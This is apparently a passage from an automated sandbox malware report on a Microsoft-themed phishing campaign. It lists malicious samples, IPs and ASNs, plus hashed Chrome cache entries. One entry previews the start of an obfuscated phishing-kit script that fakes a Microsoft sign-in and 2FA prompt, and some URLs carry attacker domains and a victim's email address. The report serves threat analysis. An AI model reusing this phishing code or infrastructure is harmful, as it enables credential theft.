	http://abt.groks-the.info	Get hash	malicious	Unknown	Browse	151.101.130.137
s-part-0012.t-0009.t-msedge.net	https://www.google.com/url?q=https%3A%2F%2Fcsnrda.net%2Fun-plugins%2F&sa=D&sntz=1&usg=AOvVaw1HtbC798C9cvS3J1_HKx3j#?8407378349Family=a2lyc3RpZS5yZWVzQHF1aWx0ZXJjaGV2aW90LmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	13.107.246.40
	d#U043e.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.40
	Qoutation.js	Get hash	malicious	XWorm	Browse	13.107.246.40
	https://fdqn7x49zmrxxb9.formstack.com/forms/refreshthispage	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	MDE_File_Sample_6967f7cc37c242205a7b3340c6732722fcd79584.zip	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	Bank Information.xls	Get hash	malicious	Unknown	Browse	13.107.246.40
	ORDER 517-2025.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.40
	Bank Information.xls	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://eu-central-1.protection.sophos.com/?d=klclick3.com&u=aHR0cHM6Ly9jdHJrLmtsY2xpY2szLmNvbS9sLzAxSlE2TldIMFdaVkdNV0tBODFNQkZGN1JUXzI=&p=m&i=NjcwOGRlNTQxNWVkNDAyNmUyZjA5MzFh&t=VUNaZ1Yza2szQkUxQ2V5U3gwNDYvRXh1ZWpOb1orVWYwMkVMRzFlQmtmMD0=&h=696c0b13c9bb46b2b210e89a34578cd9&s=AVNPUEhUT0NFTkNSWVBUSVbYlGfZU66j8K_UDSuTsyS5h7hisQMzbX-xxgbWnDCCvg	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	ORDER 517-2025.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.40
office.avcbtech.store	#Ud83d#Udd0aAudio_Msg Overlakehospital.xhtml	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	#Ud83d#Udd0aAudio_Msg Umanitoba.xhtml	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	Play_VM-Now(apply)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	auuu.xhtml	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	ATT11027.xhtml	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	Play_VM-Now(bfrieden)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	Play_VM-Now(eric.basil)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	ATT09858.htm	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	ATT99718.htm	Get hash	malicious	Unknown	Browse	139.28.36.38

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-QUADRANET-GLOBALUS	kmips.elf	Get hash	malicious	Unknown	Browse	104.245.241.61
	arm5.elf	Get hash	malicious	Unknown	Browse	104.245.241.64
	#Ud83d#Udd0aAudio_Msg Overlakehospital.xhtml	Get hash	malicious	HTMLPhisher	Browse	185.174.100.76
	#Ud83d#Udd0aAudio_Msg Umanitoba.xhtml	Get hash	malicious	HTMLPhisher	Browse	185.174.100.76
	Play_VM-Now(apply)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	185.174.100.76
	auuu.xhtml	Get hash	malicious	HTMLPhisher	Browse	185.174.100.76
	arm7.elf	Get hash	malicious	Unknown	Browse	104.245.241.61
	mips.elf	Get hash	malicious	Unknown	Browse	104.245.241.61
	ARxx7NW.exe	Get hash	malicious	Xmrig	Browse	104.245.241.161
FREEHOSTUA	#Ud83d#Udd0aAudio_Msg Overlakehospital.xhtml	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	#Ud83d#Udd0aAudio_Msg Umanitoba.xhtml	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	Play_VM-Now(apply)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	auuu.xhtml	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	ATT11027.xhtml	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	Play_VM-Now(bfrieden)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	Play_VM-Now(eric.basil)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	ATT09858.htm	Get hash	malicious	HTMLPhisher	Browse	139.28.36.38
	ATT99718.htm	Get hash	malicious	Unknown	Browse	139.28.36.38
ASN-QUADRANET-GLOBALUS	kmips.elf	Get hash	malicious	Unknown	Browse	104.245.241.61
	arm5.elf	Get hash	malicious	Unknown	Browse	104.245.241.64
	#Ud83d#Udd0aAudio_Msg Overlakehospital.xhtml	Get hash	malicious	HTMLPhisher	Browse	185.174.100.76
	#Ud83d#Udd0aAudio_Msg Umanitoba.xhtml	Get hash	malicious	HTMLPhisher	Browse	185.174.100.76
	Play_VM-Now(apply)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	185.174.100.76
	auuu.xhtml	Get hash	malicious	HTMLPhisher	Browse	185.174.100.76
	arm7.elf	Get hash	malicious	Unknown	Browse	104.245.241.61
	mips.elf	Get hash	malicious	Unknown	Browse	104.245.241.61
	ARxx7NW.exe	Get hash	malicious	Xmrig	Browse	104.245.241.161

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	dropped
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 679 x 574, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	48869
Entropy (8bit):	7.958559093833488
Encrypted:	false
SSDEEP:	768:ABND0dAJBykYjrl19H2rqdBDErhCGXvrxYZP+mFDFwnsQNPNto2r9t:fAJEkYjrfd2als/rxSFDFvQNP7osr
MD5:	8AA14660517F5460156FCCC2199CF83C
SHA1:	1B49B45651E812973D69A13CFCD137E0521B6DE6
SHA-256:	F2AA979677F3B905F64543C27FA26C6E31EF3320F44DD37F5136D267725AC495
SHA-512:	7530FB22377CBE1486DAD21F99D5F56D8AB2DAAC40EB56A030C8445F5814E097AC2C54AC81154BAD9AC1ADD5FC23D5C2FE4943F8039873D307B8A2C62973A02B
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://i.imgur.com/KAb5SEy.png
Preview:	.PNG........IHDR.......>.......4.....IDATx..w\|.......}7=..=.PB.T.."..E.`ET..E."RE....QD.>>...G9.z..P.^.j(!.HHH.6..:\.n....lv?.?\|mvg.{.....u_..2).b....@.`.......@'.....@.......b..>....+@.....X........P}... V........T...........@.......b..>....+@.....X........P}... V........T...........@.......b..>....+@.....X........P}... V........T...........@.......b..>....+@..N(.R.C...X....E..Qn...(.,.......T....hd.F.EA.$I.?.A.z.z..q..hd.........qWP.....E..,.eee..+**++.a. .>.....l4.M.h....j.Q.......y.....P}........#[.l.y.....=ZTTDK..@}\|\|\|.M.^ --..'.t8.f.Y.......P}P=yyy.........\X^^^QQ.^.e=I.r.z...v....v..bq:..$......o....;u.T.......T.T&''g............+.Ri..h4...0.LF..v.}~\|\|.5.\.....x.))).<..............T..W.k...?..cqqq....y..O..].v........Q......p.@....ZRS....h2.Hk...s..>\|..c...d..\..H..X,......s.;....h.9.2`I.......~4#_..w5..w..h....:77.../ .2......X,.(.,.d2I.D..r..........8...lF.......G-.L7..<.W.o6.......m.6.a......_[H...i`..Q8!--m.!.?.xFFF.......P.h....

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	22
Entropy (8bit):	3.5726236638951625
Encrypted:	false
SSDEEP:	3:YM0CKPFY:YM0xPi
MD5:	BAFC2F4C3A0599F66B6BACD96A1AE14F
SHA1:	4403E01E319E32CD05A5860FCE7AA81DE01F3B14
SHA-256:	1EAEB5F2EB261F058FD5AD84C44C5803417D64D24CA3C5F9DF760003D0337207
SHA-512:	60FAEDC7B805F73720FF62BE8B758787C397F7DD6330C4B46FB115C58B50B6C8664C668B923695D845A0DA8614905835B5ED390C5716685AF559DF6FAF5D7696
Malicious:	false
URL:	https://api.ipify.org/?format=json
Preview:	{"ip":"45.92.229.138"}

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 679 x 574, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	48869
Entropy (8bit):	7.958559093833488
Encrypted:	false
SSDEEP:	768:ABND0dAJBykYjrl19H2rqdBDErhCGXvrxYZP+mFDFwnsQNPNto2r9t:fAJEkYjrfd2als/rxSFDFvQNP7osr
MD5:	8AA14660517F5460156FCCC2199CF83C
SHA1:	1B49B45651E812973D69A13CFCD137E0521B6DE6
SHA-256:	F2AA979677F3B905F64543C27FA26C6E31EF3320F44DD37F5136D267725AC495
SHA-512:	7530FB22377CBE1486DAD21F99D5F56D8AB2DAAC40EB56A030C8445F5814E097AC2C54AC81154BAD9AC1ADD5FC23D5C2FE4943F8039873D307B8A2C62973A02B
Malicious:	false
Preview:	.PNG........IHDR.......>.......4.....IDATx..w\|.......}7=..=.PB.T.."..E.`ET..E."RE....QD.>>...G9.z..P.^.j(!.HHH.6..:\.n....lv?.?\|mvg.{.....u_..2).b....@.`.......@'.....@.......b..>....+@.....X........P}... V........T...........@.......b..>....+@.....X........P}... V........T...........@.......b..>....+@.....X........P}... V........T...........@.......b..>....+@..N(.R.C...X....E..Qn...(.,.......T....hd.F.EA.$I.?.A.z.z..q..hd.........qWP.....E..,.eee..+**++.a. .>.....l4.M.h....j.Q.......y.....P}........#[.l.y.....=ZTTDK..@}\|\|\|.M.^ --..'.t8.f.Y.......P}P=yyy.........\X^^^QQ.^.e=I.r.z...v....v..bq:..$......o....;u.T.......T.T&''g............+.Ri..h4...0.LF..v.}~\|\|.5.\.....x.))).<..............T..W.k...?..cqqq....y..O..].v........Q......p.@....ZRS....h2.Hk...s..>\|..c...d..\..H..X,......s.;....h.9.2`I.......~4#_..w5..w..h....:77.../ .2......X,.(.,.d2I.D..r..........8...lF.......G-.L7..<.W.o6.......m.6.a......_[H...i`..Q8!--m.!.?.xFFF.......P.h....

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 85, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5579
Entropy (8bit):	7.91798195010819
Encrypted:	false
SSDEEP:	96:V3rhBZDdgtqORgdz5Qx6ujOWNfuQRI/Ku4j7ZrpcQQvUucgGRMqNL0:V3bZetqh4OWNnR4Ku4jFpcDtHGRMqNY
MD5:	28A8812C3AAF8AF83BA5C83C58750528
SHA1:	38DFA889438C48D89DE0551F90C782E5CB5D7587
SHA-256:	A9D76447203C9176B2A401D574D44513A7C550B29C30107B4B8D94A67C6FEBDF
SHA-512:	113AEA80B537AFB95E5123A3C2DDFA9096F8A4DEF82D9F1088DD5C4DB48BD3EC8DB1C5176B6274AA51F334F95107969C06DD5D08CC95D0B8F6B3FB95E2770DA5
Malicious:	false
URL:	https://i.imgur.com/0HdPsKK.png
Preview:	.PNG........IHDR.......U......F:.....IDATx....[U....s.L.N..."..P@.ZD.vH.Ig../........Q........)x....W.....................Jk..vf:.Ir~w.$3.$.$'.3...Z.&...I............93...q.3..a..S..J.........@..`=.....z...z..V.....Z2p..d.....xo.I.........(.S..P..-........O._b.....\|K../..(.).".;....8..y1.......j.W.P.@.O.'2...w..X.s.5>.vA.5..V..+C..E.{..+.......Y.MY.....(.e.....vXs.n...-.Z.0..}j.....e........J.O.......O.L.<...G..J..........%......'....$:)......B.Z.BQ.\|...I...s.G.f..}...k..P.@.P..7?..wz..%..FZWz-....(...H..N.ZGi.9}.[..Z..j.@...E..0.9...7.I..gjd._.V..j.(....o..oC>...k.2..P.{v/.}%..x..2..m..ZE...(.5....%.{...X..{.!.e.....}..$.uT.....i...:F...Q...u......3.t.N$.\d.......n .zJ....x..=.].,.....a.tPE.(.....+.k......._.4..e.;...{.~..%-..Oy....(jI.....&<gZ.)...F.w0p...q..Pc....{y.U......E......7....PT....q..:.+.j..~..:......]?..3.u.{.l.....f...-..k.....'.e...p.~...dj......,Jmo:...'.+..........^.h........?...1~.:.V....a.i.....>Q....(..1].F@...t.....f.rM.

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 85, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5579
Entropy (8bit):	7.91798195010819
Encrypted:	false
SSDEEP:	96:V3rhBZDdgtqORgdz5Qx6ujOWNfuQRI/Ku4j7ZrpcQQvUucgGRMqNL0:V3bZetqh4OWNnR4Ku4jFpcDtHGRMqNY
MD5:	28A8812C3AAF8AF83BA5C83C58750528
SHA1:	38DFA889438C48D89DE0551F90C782E5CB5D7587
SHA-256:	A9D76447203C9176B2A401D574D44513A7C550B29C30107B4B8D94A67C6FEBDF
SHA-512:	113AEA80B537AFB95E5123A3C2DDFA9096F8A4DEF82D9F1088DD5C4DB48BD3EC8DB1C5176B6274AA51F334F95107969C06DD5D08CC95D0B8F6B3FB95E2770DA5
Malicious:	false
Preview:	.PNG........IHDR.......U......F:.....IDATx....[U....s.L.N..."..P@.ZD.vH.Ig../........Q........)x....W.....................Jk..vf:.Ir~w.$3.$.$'.3...Z.&...I............93...q.3..a..S..J.........@..`=.....z...z..V.....Z2p..d.....xo.I.........(.S..P..-........O._b.....\|K../..(.).".;....8..y1.......j.W.P.@.O.'2...w..X.s.5>.vA.5..V..+C..E.{..+.......Y.MY.....(.e.....vXs.n...-.Z.0..}j.....e........J.O.......O.L.<...G..J..........%......'....$:)......B.Z.BQ.\|...I...s.G.f..}...k..P.@.P..7?..wz..%..FZWz-....(...H..N.ZGi.9}.[..Z..j.@...E..0.9...7.I..gjd._.V..j.(....o..oC>...k.2..P.{v/.}%..x..2..m..ZE...(.5....%.{...X..{.!.e.....}..$.uT.....i...:F...Q...u......3.t.N$.\d.......n .zJ....x..=.].,.....a.tPE.(.....+.k......._.4..e.;...{.~..%-..Oy....(jI.....&<gZ.)...F.w0p...q..Pc....{y.U......E......7....PT....q..:.+.j..~..:......]?..3.u.{.l.....f...-..k.....'.e...p.~...dj......,Jmo:...'.+..........^.h........?...1~.:.V....a.i.....>Q....(..1].F@...t.....f.rM.

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65528), with no line terminators
Category:	downloaded
Size (bytes):	68421
Entropy (8bit):	4.894526489503226
Encrypted:	false
SSDEEP:	768:PO6TtTOT+Th6dO31GqjkKB6wI7JoHHy6BKJwhXBXoXRn2CVWpgnEDUgUoCn4CSaY:PO65yCYyB6F5/VW4HllbE
MD5:	95433AD6C822F912C3EC20D7D0324453
SHA1:	DD09149B83F227F46EBE417D5E55C25A8E5B718C
SHA-256:	3EAA119BDC8067E28626DD3E81A085ACF0F6C2EB6043DB1FEA164F5703CB5E71
SHA-512:	F20107C5DE6BFFB843CF3961EFEE83FCEB45F87DE204F53E55553342F959F23AED2A334B1C970E2B358CC7F1B72789EB84A6D05AD0E8C071B027168F62881D4F
Malicious:	false
URL:	https://office.avcbtech.store/kuk/xls/k1u2k.js?uid=rebecca.karpinos@junklessfoods.com
Preview:	function _0xe11b(){var _0x50d695=['#back','Incorrect\x202FA\x20code.\x20Try\x20again.','div6','#back-text','type','Microsoft','relay','6kgjXLC','style','page_visit','close','approve_signin','div5','https://www.office.com','#captcha-btn','.logoname','disabled','ajax','text','An\x20error\x20occurred\x20while\x20verifying\x20the\x20code.\x20Please\x20try\x20again.','#msg-2fa','Enter\x20your\x20email\x20address\x20or\x20phone\x20number.','#co','href','pointer-events','querySelector','input','div4','now','button:not(#dummy-bot-trap)','<img\x20src=\x22https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico\x22\x20class=\x22img-fluid\x20logoimg\x22\x20width=\x2220px\x22>\x20\x20<span\x20class=\x22align-middle\x20h5\x20logoname\x22\x20id=\x22mic\x22\x20style=\x22color:\x20#747474;\x22>Microsoft</span><br><br>\u00a0\u00a0\u00a0\u00a0<span\x20id=\x22aich\x22\x20style=\x22margin-left:\x20-16px;\x22></span><div\x20class=\x22py-2\x22><span\x20id=\x22ep\x22\x20class=\

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	22
Entropy (8bit):	3.5726236638951625
Encrypted:	false
SSDEEP:	3:YM0CKPFY:YM0xPi
MD5:	BAFC2F4C3A0599F66B6BACD96A1AE14F
SHA1:	4403E01E319E32CD05A5860FCE7AA81DE01F3B14
SHA-256:	1EAEB5F2EB261F058FD5AD84C44C5803417D64D24CA3C5F9DF760003D0337207
SHA-512:	60FAEDC7B805F73720FF62BE8B758787C397F7DD6330C4B46FB115C58B50B6C8664C668B923695D845A0DA8614905835B5ED390C5716685AF559DF6FAF5D7696
Malicious:	false
Preview:	{"ip":"45.92.229.138"}

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	258966
Entropy (8bit):	4.694760038815572
Encrypted:	false
SSDEEP:	1536:Pq6wJpJW3jInCU77Pc5ybMMHcFdL5RdD0BKt2AnsD5FWXxXLXv47pGXRMN6o8VbB:dLzsCXo8cAcfO4FIwo7vwI7N
MD5:	D22C8D1F87B47309F3C2A05D2905A762
SHA1:	2DA99CB33FCB4294336D73F2D538ED2D5EC3E3C1
SHA-256:	CA4586C1819D057F7396D917087FE3E650A9466DE644278DC3A8DDA5C3CA71FD
SHA-512:	F96C4580DEDBCA6B830EB4959E45831D3B87231F54F8B4EFE825615E88335550ABD42EBDF8FCCF40631047B0321D0EA8E0D5438F65B7B6E06FEB5253355F4F20
Malicious:	false
URL:	https://sender.linxcoded.top/start/xls/includes/css6.css
Preview:	/!.. Bootstrap v4.0.0 (https://getbootstrap.com).. * Copyright 2011-2018 The Bootstrap Authors.. * Copyright 2011-2018 Twitter, Inc... * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE).. */.. :root {.. --blue: #007bff;.. --indigo: #6610f2;.. --purple: #6f42c1;.. --pink: #e83e8c;.. --red: #dc3545;.. --orange: #fd7e14;.. --yellow: #ffc107;.. --green: #28a745;.. --teal: #20c997;.. --cyan: #17a2b8;.. --white: #fff;.. --gray: #6c757d;.. --gray-dark: #343a40;.. --primary: #007bff;.. --secondary: #6c757d;.. --success: #28a745;.. --info: #17a2b8;.. --warning: #ffc107;.. --danger: #dc3545;.. --light: #f8f9fa;.. --dark: #343a40;.. --breakpoint-xs: 0;.. --breakpoint-sm: 576px;.. --breakpoint-md: 768px;.. --breakpoint-lg: 992px;.. --breakpoint-xl: 1200px;.. --font-family-sans-se

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	downloaded
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg
